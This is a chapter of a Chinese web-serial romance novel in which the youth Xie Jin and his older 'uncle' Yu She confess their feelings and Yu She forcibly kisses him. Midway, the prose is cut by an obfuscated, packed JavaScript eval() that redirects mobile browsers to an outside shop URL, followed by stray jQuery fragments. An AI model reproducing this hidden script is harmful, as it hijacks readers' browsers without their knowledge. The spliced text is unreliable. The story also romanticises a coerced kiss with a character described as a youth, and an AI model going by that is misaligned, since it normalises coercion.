28.28
作品:《一篇老房子着火文》 谢瑾不知道余赦是怎么突然冒出来的。
是在他转身离开餐厅的时候就追了出来,还是在他走出电梯之后才赶到。
但此刻这些都不重要了。
余赦的脸近在咫尺,谢瑾能看见男人眼里压抑的愤怒,还有一丝微妙的恐惧。
恐惧吗?
谢瑾在一瞬间想通了很多事情。
余赦如何能回答得了谢瑾的疑惑呢?明明他自己也陷在其中出不来。
如今这般田地,并非谢瑾一人造就。
谢瑾想起那些被自己忽略的细节。
找理由住瑾余赦家的时候余赦只是思索了片刻,并未拒绝。
想方设法偶遇余赦的时候余赦没有避开。
缠着余赦去北疆的时候余赦也答应了。
还有那一夜他让余赦救他,余赦也从头到尾帮他弄到了底。
在栖云山庄谢瑾让余赦和自己去泡温泉,余赦更是纵容,冒着雪陪他。
余赦把谢瑾的一切都看在眼里,还从谢瑾那里了解到他做什么事都喜欢准备个Plan B计划。
他那么了解谢瑾,知晓他的心思,习惯,所有的伪装和试探,他简直要把谢瑾彻底拿捏在手里了。
现在见谢瑾终于不再纠缠,他反而坐不住了。
难道说余赦享受的就是被追逐的过程?可谢瑾怎么看余赦都不像是个渣男啊。
余赦深邃的眉眼如今只对谢瑾传达出了一个信息———
他在害怕。
他怕什么呢?怕谢瑾小孩心性,和他告白失败之后就找别人吗?
虽然谢瑾的理由确实有这个意思,但这不过是他为了强撑脸面编出来的一套说辞罢了,否则他想不到自己要找什么借口逃离余赦身边。
现在余赦忙不迭地追上来,是不是说明他对谢瑾并非毫无想法,只是碍于身份和情面必须拒绝?
这个念头仿佛一簇火苗,在谢瑾心里腾地燃起来。
他感到自己的心跳在疯狂加速,血液沸腾。
谢瑾死死压制住这股狂喜的冲动,让自己的表情维持在一脸愕然和恼怒之间。
“小叔,你做什么。”
少年声音压得有些低,带着恰到好处的愤怒与不解,他甚至微微挣扎了一下,试图抽回被摁住的手腕。
当然,没抽动。
余赦没回答,也没松开,他低下头,离谢瑾更近了一点,那双暗如寒潭般的眼睛死死盯着谢瑾,像是要从少年脸上找出什么答案。
“谁是你的Plan B?”男人声音压得很低,像是在质问,又像是在确认什么,“那个秦雅健?”
谢瑾皱眉,抿紧了唇。
他看似是被余赦气到了,好好的告白被拒绝,现在又被莫名其妙地质问,任谁都会生气。
可只有谢瑾自己知道,他正用尽全身力气忍耐那股快要从胸腔里冲出来的兴奋。
他太喜欢看余赦这副样子了。
平时那么冷静自持,把一切都握在手心里的男人,此刻眉头紧锁,眼底翻涌着压抑的情绪,声音低哑得不像他自己。
余赦钳制着谢瑾的手腕,那么用力,像是在抓什么一旦放手就会永远失去的东西。
冰山融化原来是这种感觉。
谢瑾心里涌起一种巨大的满足感,不是为了报复,也不是为了证明什么,而是———
余赦这样镇定自若处事不惊的人能为了他天崩地裂。
这是不是说明,他离得到余赦,只有一步之遥。
这个念头让谢瑾几乎要颤抖起来。
可他不能让余赦看出任何端倪。
他得演下去,演一个被拒绝后心灰意冷,被余赦的行为搞得莫名其妙的可怜虫。
谢瑾深吸一口气,让那股兴奋的劲头沉到心底最深处。
“和你有什么关系吗?你以什么身份来管我?”
余赦眉头皱得更紧了。
以前他就知道谢瑾喜欢装乖,人前人后两副面孔,为了在他面前刷好感总是小心翼翼的,连说话都夹着声音。
他在那些同辈面前可是尽显风范,根本不像是没有主见需要人给意见的样子。
见余赦不答应他的告白,转身就去找别人也不是不可能的事。
毕竟谢瑾在余赦心里“劣迹斑斑”,余赦认为以谢瑾的性格完全做得出来。
挑衅完余赦之后谢瑾还要火上浇油,“我以前愿意被你管是因为我叫你一声小叔,我对你有着你认为的不正确情结,我现在放下了,去找一直在等我的人,有哪里不对了?”
他说完,看着余赦。
男人喉结上下滚动了一下。
余赦眼里的情绪更加浓郁复杂,胸口剧烈起伏,他好像被谢瑾击中了要害,逼至墙角,整个人即将爆开一样。
谢瑾脑子此刻也在高速运转中。
秦雅健为什么能让余赦那么在意?他压根不用秦雅健放在眼里吧?
还是说谢瑾和秦雅健关系亲密,余赦吃醋了?
谢瑾忽然想起另一件事。
余赦说他是中医世家出身,先前在北疆的时候余赦捏着他手腕是在把脉?
心火旺盛,思虑过度。
他那会儿就知道谢瑾在撒谎,说什么身体有隐疾都是借口,所以发现谢瑾在门口装了感应器之后才会那么生气。
毕竟余赦是真的担心谢瑾身体有什么毛病,不想谢瑾为了骗人拿自己的身体开玩笑。
的确,谢瑾为了得到余赦嘴里真话很少,可他又没撒什么很恶劣的谎,只是希望余赦能多在意他一些。
可余赦不希望他用身体当作谎言。
或许是前科太多,谢瑾的Plan B让余赦想到了谢瑾之前的行为,余赦不想看见谢瑾只是被他拒绝就随便找个人在一起,用放纵来填补失落。
这个男人明明在拒绝他,推开他,却还是在害怕他受伤,不希望他难过,潦倒买醉,更不想他随便找个人糟蹋自己。
余赦比任何人都想看见谢瑾好。
就在谢瑾终于明白余赦的感情有多么深沉的时候,余赦终于爆发———
“你从来不需要我救,病入膏肓的人是我。”
余赦掐着谢瑾的下巴,用力吻了过去。
谢瑾睁大双眼,他根本来不及消化余赦话里的意思,手腕被余赦一只手扣住,脸也没办法动弹,整个人都是被强迫的姿态。
怎么就……
被亲了呢?
谢瑾想象中的初吻会发生在一个美好的夜晚,他和余赦耳鬓厮磨,唇齿相依。
而不是像现在这样,被余赦暴虐地掠夺。
这还是余赦吗?
谢瑾知道他这会儿该抗拒,而不是被余赦亲得全身酸软,顺从地张口,一点一点将自己交出去。
余赦突如其来的举动让谢瑾思维和反应都变得迟钝起来。
虽然过程不尽如人意,但结果令谢瑾欣喜。
好歹是把余赦逼到退无可退了。
有点缺氧。
嘴角也开始发痛。
不行了,真的不可以再继续下去。
谢瑾已经有反应了,他还不想在人人都能经过的走廊发情。
他开始推余赦,不过是用舌头,但察觉到谢瑾抗拒的余赦将他缠得更紧了。
再这样下去要窒息了吧,谢瑾“呜呜”地叫,脸颊也开始涨红。
余赦终于撤离。
谢瑾上气不接下气,张开嘴猛地呼吸,舌头无意识地伸出来一点点,下巴一片涎液。
余赦目光依旧锁定谢瑾,谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262630|197411||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瑾靠着墙,胸腔剧烈起伏着,眼前一片水雾。
等他终于看见余赦的脸,谢瑾猛地惊醒,差点忘记自己现在的人设。
还没等谢瑾开口说话,余赦松开谢瑾,整个人身上都散发着一股不容置疑的气场。
他把房卡还给谢瑾,“去开门。”
谢瑾刚才的反应让余赦明白,他彻底上套了。
这个小撒谎精享受完了才记得反抗,从电梯到房间就那么一小段距离,他走这么慢难道不是刻意在等余赦?
余赦就看看,房间里到底有没有那个Plan B。
虽然谢瑾很想解释这些都是误会而已,但他总不能直接告诉余赦他做错了阅读理解。
谢瑾有些站不稳,他还在剧烈呼吸,抓着余赦的袖子,转身把房卡放到感应区,里面一片漆黑。
余赦主动推开房门,走进去开灯,一片寂静。
尘埃落定。
谢瑾猛地关门,就在余赦转身之际一整个扑上去,他表情恶狠狠的,像余赦刚才对他那样去亲余赦,结果磕到了余赦的牙齿。
余赦皱了下眉头,却稳稳将谢瑾托住,谢瑾就这样挂在余赦身上,双腿紧紧夹着余赦的腰,问他为什么要这样。
意识到自己冲动过头,余赦再想逃避也已经来不及。
现在,轮到他来问谢瑾。
“谢瑾,你喜欢我什么。”
余赦实在不明白,他身上有哪里值得喜欢。
无非是年龄大一些,经历过的事情比较多所以处理起来有经验而已。
如果谢瑾只是因为这些对他产生好感,这点好感迟早会被岁月搓磨掉,两人必然走向分手的结局。
谢瑾用手背擦了擦下巴,想让自己看起来没那么狼狈。
他知道这个答案对余赦而言很重要,发觉自己喜欢余赦的时候谢瑾也找过原因,如果只是对他好之类的就太浅显了。
“从我们第一次见面开始,你就无法拒绝我,小叔……余赦,你难道没发现吗?你一直在以不同的方式注视我。”
谢瑾对于善恶的感知非常敏锐,余赦对谢瑾的好和别人是不一样的。
或许正如余赦自己所说,他是因为欣赏谢瑾才做那么多事,谢瑾当然可以自动把这种欣赏升级为爱慕,这并非自我意识过剩,而是他对自己的魅力有着足够的自信。
至于他为什么一定要纠缠余赦……
或许有他觉得余赦好欺负的原因吧。
但事实证明,余赦没他想得那么好惹。
光是刚刚那个吻就让谢瑾觉得余赦像一座活火山,平日里被冰雪覆盖,喷发的时候声势浩大,异常壮观。
谢瑾就想看见余赦像现在这样,满心满眼都是自己。
“我喜欢你,就是喜欢,如果你觉得我的喜欢包含着欺骗,谎言,我和你说对不起,以后不会这样了,你和我在一起吧,好不好?”
这个年纪的孩子,情爱给谁都热烈。
余赦垂下眸,把谢瑾放在房间里的沙发。
男人在谢瑾身边坐下,这是一个好商好量的姿态。
他不想谢瑾后悔,把将来都搭在自己身上,很是诚恳地开口:“谢瑾,你应该明白我的担心,我没办法给你什么保证,但我会一直对你好,不管是在一起,还是分开。”
谢瑾抿了下唇,心里已经开始紧张。
“我把选择权交给你,我们给彼此一年,相互了解,如果一年后你还想和我在一起,我都听你的。”
居然……只有一年?
谢瑾表情有些低落,“如果你不想和我在一起了呢?如果这一年,我做了什么惹火你的事情,让你忍无可忍了呢?”
余赦却忽然笑了,“不会的,说好一年就是一年,这一年里,谁都不准提分手。”

